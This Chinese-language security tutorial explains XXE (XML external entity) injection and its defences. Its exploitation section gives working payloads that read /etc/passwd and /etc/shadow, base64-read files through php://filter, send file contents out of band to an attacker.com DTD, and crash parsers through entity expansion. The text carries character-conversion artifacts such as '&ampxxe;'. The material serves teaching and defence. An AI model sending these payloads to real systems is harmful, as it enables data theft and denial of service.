溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

XXE的基本概念和利用方式是什么

發(fā)布時(shí)間:2021-07-16 10:06:11 來(lái)源:億速云 閱讀:569 作者:chen 欄目:網(wǎng)絡(luò)管理

本篇內(nèi)容主要講解“XXE的基本概念和利用方式是什么”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強(qiáng)。下面就讓小編來(lái)帶大家學(xué)習(xí)“XXE的基本概念和利用方式是什么”吧!

XXE的基本概念和利用方式

本文側(cè)重于對(duì)XXE原理和概念的總結(jié),簡(jiǎn)化了細(xì)節(jié)性的內(nèi)容。本文從black hat EU 2013 XML Out-Of-Band Data Retrieval、Out-of-band XML External Entity (OOB-XXE)等優(yōu)質(zhì)文章中節(jié)選了部分具有代表性的內(nèi)容進(jìn)行翻譯。在保證術(shù)語(yǔ)準(zhǔn)確性的前提下,盡量精簡(jiǎn)。

0x00 參考文獻(xiàn)

什么是XML外部實(shí)體(XXE)攻擊

帶外XML外部實(shí)體(OOB-XXE)

XML Out-Of-Band Data Retrieval

XML外部實(shí)體處理

A4:2017-XML External Entities (XXE)

0x01 概述

XXE

XXE全稱XML External Entity Injection,也就是XML外部實(shí)體注入。

它是對(duì)解析XML輸入的應(yīng)用程序的一種攻擊。當(dāng)配置不當(dāng)?shù)腦ML處理器處理包含對(duì)外部實(shí)體引用的XML輸入時(shí),就會(huì)發(fā)生此攻擊。

XML的作用

XML 被設(shè)計(jì)用來(lái)傳輸和存儲(chǔ)數(shù)據(jù),其關(guān)注點(diǎn)是數(shù)據(jù)的內(nèi)容。 XML 旨在傳輸信息。要解釋XML數(shù)據(jù),應(yīng)用程序需要XML解析器。

XML文檔可以是特定類型。您可以通過(guò)指定類型定義在文檔中聲明此類型。XML解析器會(huì)在處理文檔之前驗(yàn)證XML文檔是否遵守此類型定義。您可以使用兩種類型的類型定義:XML架構(gòu)定義(XSD)或文檔類型定義(DTD)。XXE漏洞發(fā)生在“文檔類型定義”中。

什么是DTD(文檔類型定義)

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構(gòu)建模塊。 DTD的聲明:指XML文檔中聲明該文檔的DTD或DTD來(lái)源的部分,可以包含在使用它的XML文檔內(nèi)部,也可以以獨(dú)立的DTD文檔(*.dtd)文檔存在。

所以DTD一般認(rèn)為有兩種引用或聲明方式:

1、內(nèi)部DTD:即對(duì)XML文檔中的元素、屬性和實(shí)體的DTD的聲明都在XML文檔中。

2、外部DTD:即對(duì)XML文檔中的元素、屬性和實(shí)體的DTD的聲明都在一個(gè)獨(dú)立的DTD文件(.dtd)中。

DTD文檔的三種形式:

內(nèi)部DTD類型:<!DOCTYPE 根元素[子元素聲明]>

外部DTD類型:<!DOCTYPE 根元素 SYSTEM "DTD文件路徑">

內(nèi)外部DTD文檔結(jié)合:<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內(nèi)容]>

在XXE中最常用的是內(nèi)部DTD類型。

在DTD內(nèi),我們可以聲明外部實(shí)體。

什么是XML實(shí)體(ENTITY)

實(shí)體是用于定義引用普通文本或者特殊字符的快捷方式的變量。

XML實(shí)體幾乎可以來(lái)自任何地方-包括外部資源(因此稱為XML外部實(shí)體)。

在DTD中的實(shí)體類型,一般分為:內(nèi)部實(shí)體和外部實(shí)體,細(xì)分又分為普通實(shí)體和參數(shù)實(shí)體。

實(shí)體的具體分類

預(yù)定義:&ampamp;&amplt;&amp#37;

內(nèi)部實(shí)體:<!ENTITY 實(shí)體名稱 "實(shí)體的值">

外部實(shí)體:<!ENTITY 實(shí)體名稱 SYSTEM "URI/URL">

內(nèi)部實(shí)體和外部實(shí)體統(tǒng)稱為普通實(shí)體

普通實(shí)體的引用方式是&普通實(shí)體名;

參數(shù)實(shí)體:<!ENTITY % 實(shí)體名 "實(shí)體內(nèi)容">

參數(shù)實(shí)體的引用方式是%實(shí)體名;

普通實(shí)體和參數(shù)實(shí)體可能是:

內(nèi)部的(定義在當(dāng)前DTD中)

外部的(定義在外部資源中)

可能造成XXE的風(fēng)險(xiǎn)因素

該應(yīng)用程序解析XML文檔

實(shí)體的系統(tǒng)標(biāo)識(shí)符部分,文檔類型聲明(DTD)中允許使用受污染的數(shù)據(jù)

XML解析器配置為驗(yàn)證和處理DTD

XML解析器配置為解析DTD內(nèi)的外部實(shí)體

XXE的影響

本地文件讀取

內(nèi)網(wǎng)訪問(wèn)

主機(jī)掃描/端口掃描

遠(yuǎn)程代碼執(zhí)行(不常用)

拒絕服務(wù)攻擊

防御

盡可能使用簡(jiǎn)單的數(shù)據(jù)格式(如JSON),并避免敏感數(shù)據(jù)序列化。

修補(bǔ)或升級(jí)XML處理器和庫(kù)。使用依賴項(xiàng)檢查器。

在應(yīng)用程序的所有XML解析器中禁用XML外部實(shí)體和DTD處理

服務(wù)器端使用白名單輸入驗(yàn)證,過(guò)濾或清理,防止XML文檔、表頭、節(jié)點(diǎn)內(nèi)的惡意數(shù)據(jù)。

XML或XSL文件上傳功能使用XSD(XML架構(gòu)定義)驗(yàn)證傳入的XML。

SAST根據(jù)檢測(cè)源代碼中的XXE。

使用虛擬補(bǔ)丁程序,API安全網(wǎng)關(guān)或Web應(yīng)用程序防火墻(WAF)來(lái)檢測(cè)和阻止XXE攻擊。

0x02 利用方式

本地文件讀取

當(dāng)用戶的輸入在響應(yīng)中回顯,這種XXE被稱為基于報(bào)錯(cuò)的XXE。

攻擊者可以使用XML實(shí)體。這是因?yàn)槟槐卦赬ML文檔中定義XML實(shí)體。實(shí)際上,XML實(shí)體幾乎可以來(lái)自任何地方-包括外部資源(因此稱為XML外部實(shí)體)。這就是XXE成為服務(wù)器端請(qǐng)求偽造(SSRF)攻擊的一種類型。

XXE的基本概念和利用方式是什么

攻擊者可以使用URI(在XML中稱為系統(tǒng)標(biāo)識(shí)符)創(chuàng)建以下請(qǐng)求。如果將XML解析器配置為處理外部實(shí)體(默認(rèn)情況下,許多XML解析器都配置為處理外部實(shí)體),則Web服務(wù)器返回系統(tǒng)上的文件,可能包含敏感數(shù)據(jù)。

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<foo>
&ampxxe;
</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&ampxxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&ampxxe;</foo>

當(dāng)然,攻擊者不僅限于獲取系統(tǒng)文件。他們可以輕松竊取包括源代碼在內(nèi)的其他本地文件(如果他們知道Web應(yīng)用程序的路徑和結(jié)構(gòu))。使用某些XML解析器,甚至可以獲取目錄列表以及本地資源的內(nèi)容。XML外部實(shí)體攻擊甚至可以使攻擊者向本地網(wǎng)絡(luò)上的文件發(fā)出常規(guī)HTTP請(qǐng)求(即只能從防火墻后面進(jìn)行訪問(wèn))。

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"http://192.168.0.1/secret.txt">
]>
<foo>
&ampxxe;
</foo>

但是,這種方法在實(shí)際應(yīng)用會(huì)受到一定的限制:

XXE僅可用于獲取包含格式正確的XML文件或響應(yīng)

XXE無(wú)法用于獲取二進(jìn)制文件

獲取的文件必須有足夠的權(quán)限

無(wú)法獲取非常大的文件,如/dev/random/dev/zero,會(huì)導(dǎo)致拒絕服務(wù)攻擊。

XML限制的解決方法

CDATA(字符數(shù)據(jù))

訪問(wèn)帶有XML特殊字符(如&、<>)的文本文件

XML解析器將忽略CDATA(字符數(shù)據(jù))標(biāo)記中的特殊XML字符。

<data><![CDATA[ < " ' & > characters are ok here ]]></data>

參數(shù)實(shí)體

具體方法見通過(guò)HTTP進(jìn)行數(shù)據(jù)讀取

PHP協(xié)議包裝器

PHP協(xié)議包裝器是允許訪問(wèn)PHP輸入和輸出流的I / O流。

攻擊者可以使用php://filter協(xié)議包裝程序?qū)ξ募膬?nèi)容進(jìn)行Base64編碼。由于Base64將始終被視為有效的XML,因此攻擊者可以簡(jiǎn)單地在服務(wù)器上對(duì)文件進(jìn)行編碼,然后在接收端對(duì)其進(jìn)行解碼。此方法還具有允許攻擊者竊取二進(jìn)制文件的附加好處。

請(qǐng)求:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
&ampbar;
</foo>

帶外out-of-band(OOB-XXE)

一、通過(guò)HTTP進(jìn)行數(shù)據(jù)提取

前置知識(shí):參數(shù)實(shí)體

除了通用實(shí)體,XML還支持參數(shù)實(shí)體。參數(shù)實(shí)體僅在文檔類型定義(DTD)中使用。

參數(shù)實(shí)體以%字符開頭。此字符指示XML解析器正在定義參數(shù)實(shí)體(不是一般實(shí)體)。

前置知識(shí):帶外攻擊

XXE攻擊有兩種類型:帶內(nèi)和帶外。

帶內(nèi)XXE攻擊更為常見,攻擊者可以立即收到對(duì)XXE payload的響應(yīng)。對(duì)于帶外XXE攻擊(也稱為盲型XXE),Web應(yīng)用程序不會(huì)立即做出響應(yīng)。

利用帶外XXE漏洞的過(guò)程類似于將參數(shù)實(shí)體與帶內(nèi)XXE一起使用,并且涉及創(chuàng)建外部DTD(文檔類型定義)。有一個(gè)主要區(qū)別:使用這種類型的攻擊,攻擊者需要XML解析器向攻擊者控制的服務(wù)器發(fā)出附加請(qǐng)求。這是讀取本地文件的內(nèi)容必需的。

原理

攻擊者向目標(biāo)服務(wù)器發(fā)送惡意的XML請(qǐng)求。

目標(biāo)服務(wù)器上的XML解析器首先處理參數(shù)實(shí)體,該實(shí)體加載本地文件,如/etc/passwd。

接下來(lái),XML解析器向位于攻擊者服務(wù)器上的DTD文件發(fā)出請(qǐng)求。

目標(biāo)服務(wù)器下載攻擊者的DTD,XML解析器處理攻擊者的DTD文件后。攻擊者DTD中的參數(shù)實(shí)體會(huì)創(chuàng)建一個(gè)通用實(shí)體。通用實(shí)體中包含著一個(gè)訪問(wèn)攻擊者服務(wù)器的URL。該URL中包含本地文件內(nèi)容(例如:http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh)。

最后,在構(gòu)造好URL后,XML解析器將處理通用實(shí)體,這將向攻擊者的服務(wù)器發(fā)出包含文件內(nèi)容的請(qǐng)求。

攻擊者在服務(wù)器日志上可以看到請(qǐng)求記錄,并從中獲得目標(biāo)文件。

XXE的基本概念和利用方式是什么

以下是攻擊者如何利用帶外(OOB)技術(shù)利用參數(shù)實(shí)體竊取敏感數(shù)據(jù)的示例。

請(qǐng)求

POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///etc/passwd">
<!ENTITY % dtd SYSTEM
"http://attacker.com/evil.dtd">
%dtd;
]>
<data>&ampsend;</data>

攻擊者的DTD(attacker.com/evil.dtd)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;

攻擊進(jìn)行如下:

XML解析器首先處理%file參數(shù)實(shí)體,該實(shí)體加載文件/ etc / passwd。

接下來(lái),XML解析器向位于http://attack.com/evil.dtd的攻擊者的DTD文件發(fā)出請(qǐng)求。

XML解析器處理攻擊者的DTD文件后,%all參數(shù)實(shí)體創(chuàng)建一個(gè)名為的通用實(shí)體&send,其中包含一個(gè)URL。該URL包含文件內(nèi)容(例如http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh)。

最后,在構(gòu)造URL之后,XML解析器將處理&send實(shí)體,這將向攻擊者的服務(wù)器發(fā)出請(qǐng)求。

攻擊者可以在其終端記錄請(qǐng)求,并從日志條目中重建文件。

二、通過(guò)FTP進(jìn)行數(shù)據(jù)提取

三、DNS查詢

XXE Attacks — Part 2: XML DTD related Attacks

結(jié)論

帶內(nèi)和帶外XML外部實(shí)體注入(XXE)漏洞非常嚴(yán)重,幾乎影響解析XML文檔的所有Web應(yīng)用程序。XXE可用于導(dǎo)致拒絕服務(wù)以及從本地服務(wù)器竊取系統(tǒng)文件和源代碼。攻擊者還可以使用XXE對(duì)內(nèi)部網(wǎng)絡(luò)上的其他服務(wù)器發(fā)起服務(wù)器端請(qǐng)求偽造(SSRF)攻擊。

XML Dos攻擊

定義一個(gè)實(shí)體,遞歸引用。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World ">
<!ENTITY t1 "&ampbar;&ampbar;">
<!ENTITY t2 "&ampt1;&ampt1;&ampt1;&ampt1;">
<!ENTITY t3 "&ampt2;&ampt2;&ampt2;&ampt2;&ampt2;">
]>

或者定義一個(gè)大實(shí)體,并且多次引用。

如果是Unix系統(tǒng),可以在DTD中引用外部實(shí)體,用file協(xié)議讀取

/dev/random

文件。

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&ampxxe;</foo>

這種攻擊會(huì)使XML解析器內(nèi)存過(guò)載。一些XML解析器會(huì)自動(dòng)限制它們可以使用的內(nèi)存量。

遠(yuǎn)程代碼執(zhí)行

RCE可以通過(guò)XXE在php應(yīng)用程序中實(shí)現(xiàn),但是這非常少見。只有目標(biāo)系統(tǒng)加載了php的Expect模塊(默認(rèn)禁用),才有可能實(shí)現(xiàn)。另外,php7不支持expect模塊。

XXE在php應(yīng)用程序中更容易利用。因?yàn)閜hp提供了許多URL處理方法,流裝飾器和數(shù)據(jù)過(guò)濾器,這會(huì)增加攻擊面。

默認(rèn)情況下,php支持外部實(shí)體。

到此,相信大家對(duì)“XXE的基本概念和利用方式是什么”有了更深的了解,不妨來(lái)實(shí)際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

xxe
AI